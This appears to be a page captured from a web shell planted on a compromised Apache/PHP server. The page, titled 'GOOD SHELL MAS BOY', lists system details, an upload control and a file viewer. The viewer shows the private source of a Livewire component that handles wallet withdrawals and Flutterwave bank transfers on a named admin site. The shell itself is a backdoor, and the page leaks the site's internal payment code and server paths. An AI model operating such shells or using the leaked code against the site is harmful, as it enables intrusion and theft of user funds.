GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/app/Livewire/Wallet/WithdrawRequests.php
<?php

namespace App\Livewire\Wallet;

use App\Models\Wallet;
use Livewire\Component;
use App\Models\Transaction;
use Livewire\WithPagination;
use App\Services\FlutterwaveService; // <-- make sure this exists

class WithdrawRequests extends Component
{
    use WithPagination;

    public $search = ''; // Property to hold the search term

    public function changeWithdrawStatus($tranId, $newStatus)
    {
        $withdraw = Transaction::find($tranId);

        if ($withdraw) {
            $withdraw->status = $newStatus;
            $withdraw->save();

            Wallet::where('user_id', $withdraw->user_id)->update(['pending_withdraw' => 0]);

            session()->flash('success', 'Withdraw status updated successfully!');
            return $this->redirect(request()->header('Referer'), navigate: true);
        }
    }

    public function processWithdrawal($tranId)
    {
        $withdraw = Transaction::with('user.wallet')->find($tranId);

        if (!$withdraw) {
            session()->flash('error', 'Withdrawal request not found.');
            return;
        }

        $user = $withdraw->user;

        // Validate bank details
        if (!$user->bank_code || !$user->account_number) {
            session()->flash('error', 'User bank details are missing.');
            return;
        }

        // Call Flutterwave
        $flutterwave = new FlutterwaveService();
        $response = $flutterwave->transfer(
            $user->bank_code,
            $user->account_number,
            $withdraw->amount
        );

        if (isset($response['status']) && $response['status'] === 'success') {
            $withdraw->update(['status' => 'completed']);

            session()->flash('success', 'Withdrawal transferred successfully!');
        } else {
            session()->flash('error', 'Transfer failed: ' . ($response['message'] ?? 'Unknown error'));
        }
    }

    public function render()
    {
        $withdraws = Transaction::where('type', 'withdraw')->latest()
            ->whereHas('user', function ($query) {
                $query->where('name', 'like', '%' . $this->search . '%');
            })
            ->paginate(10);

        return view('livewire.wallet.withdraw-requests', compact('withdraws'));
    }
}